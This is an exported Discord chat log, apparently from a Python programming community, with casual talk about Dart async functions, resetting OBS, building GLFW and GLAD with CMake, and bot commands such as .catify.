lament prawn
#

Try aiohttp

last mantle
edgy crest
last mantle
#

Future<void> e() async{}

inland wolf
#

well

#

u only need to return future if u are going to await that function

#

its weird

last mantle
#

hmm

inland wolf
#

oh nvm u need future for async

twin charm
#

@acoustic moss I need halp.

#

I just fucked up some settings in obs

#

how to reset?

edgy crest
#

reinstall

twin charm
#

hmm, I could just reextract the zip.

last mantle
#

use streamlabs obs lolol

inland wolf
#

@twin charm there should be a reset to default button

twin charm
#

where?

inland wolf
#

well there should be

twin charm
#

hmmmm

rough sapphire
#

.topic

median domeBOT
#
**What made you want to join this Discord server?**

Suggest more topics here!

tranquil orchid
#

Haven't a clue

frozen coral
#

I had a question about the security implications of using http.server in production

#

There were many warning in the docs, but actually wanted to understand the risk

acoustic moss
#

i just saw it on the discovery page lol

edgy crest
#

same

#

and i just learnt how to use for loops

#

so i wanted to flex a little when i realized

inland wolf
#

lol

#

dunning kruger effect

edgy crest
#

why does this thing have graphs and stuff

inland wolf
#

ye

vapid nymph
#

OH MY GOD WHY

vapid nymph
tardy rain
#

What

vapid nymph
#

Look at the reaction

wraith hound
#

Agreed

#

It looks weird

#

But it's not that bad

vapid nymph
#

Ugly

vapid nymph
mild patrol
winter heart
#

sorry for double ping

rich moon
#

no

#

np*

winter heart
#

the error im getting

rich moon
#

okay so what i did was that glfw and glad had git repositories of the code

winter heart
#

i too learning from learnopenglcom

rich moon
#

and each git repository contained a cmakelists so essentially i just first built them (glfw, glad) and then i linked them to my main

winter heart
#

im still not getting, what i should suppose to do?

rich moon
#

like this is what it looks like

#

this is the file structure

winter heart
#

so i have to again cmake them?

rich moon
#

so cmake has this add_subdirectory which basically will build using the cmakelists.txt in the folder u specify

stark rapids
#

Person advertising rust in a python server 😹

gritty zinc
#

we're totally not a cult, promise

rich moon
#

so essentially the process that the root cmakelists.txt runs is

  1. build glad from extern/glad
  2. build glfw from extern/glfw
  3. build the main and link the built glad and glfw to get final executable @winter heart
stark rapids
rich moon
#

the extern folder is just where i decided to keep the third party libraries

winter heart
winter heart
rich moon
#

if you use git you have to do a git add submodule

winter heart
#

got it. Thanks 🙂

latent scaffold
vapid nymph
#

no?

#

Discord PTB moment

winter heart
#

@rich moon thanks mate, it's working now.

#

can finally sleep in peace lol.

rich moon
#

@winter heart lmao

blissful moth
#

so this is what happens when i try to send a file rn
the thing is, the "pictures", "videos", and stuff aren't there as i use onedrive for my files & stuff
so they aren't the default directories
anyone know how to add this stuff to the file picker?

low chasm
#

called out :D

blissful moth
#

it is (located in /home/OneDrive), but like how do i get it in the file explorer?

vapid nymph
#

U go to /home in the explorer

vapid nymph
#

AND PYTHON IS NOW IN SECURITY FIXES ONLY

#

er, 3.8

blissful moth
low chasm
#

CAT OT NAME

#

LESSGO

wraith hound
#

EYYY

low chasm
#

LESGO

last mantle
#

No

low chasm
#

what

#

yes

wraith hound
#

Discord Compact mode ain't bad

#

It makes me not have to see people's weird pfps sometimes

twin charm
dull barn
#

Ayo wheres the cats?

low chasm
#

Lmao

#

I am at peak catification

#

.catify

median domeBOT
#
Not in my house!

Your display name is too long to be catified! Please change it to be under 26 characters.

mighty oyster
#

.catify

median domeBOT
#

Your catified nickname is: Le_Fishe | ᕂᘏᗢ

mighty oyster
#

Oh

#

Oh dear

low chasm
#

Lmao.

#

I am the most catified person here

dull barn
#

How many in the dungeon?

low chasm
#

Hm?

mighty oyster
#

?

dull barn
#

None?

low chasm
#

None what? Lol

mighty oyster
#

You keep your cats in a dungeon or something? Lol

dull barn
#

No cats in a dungeon?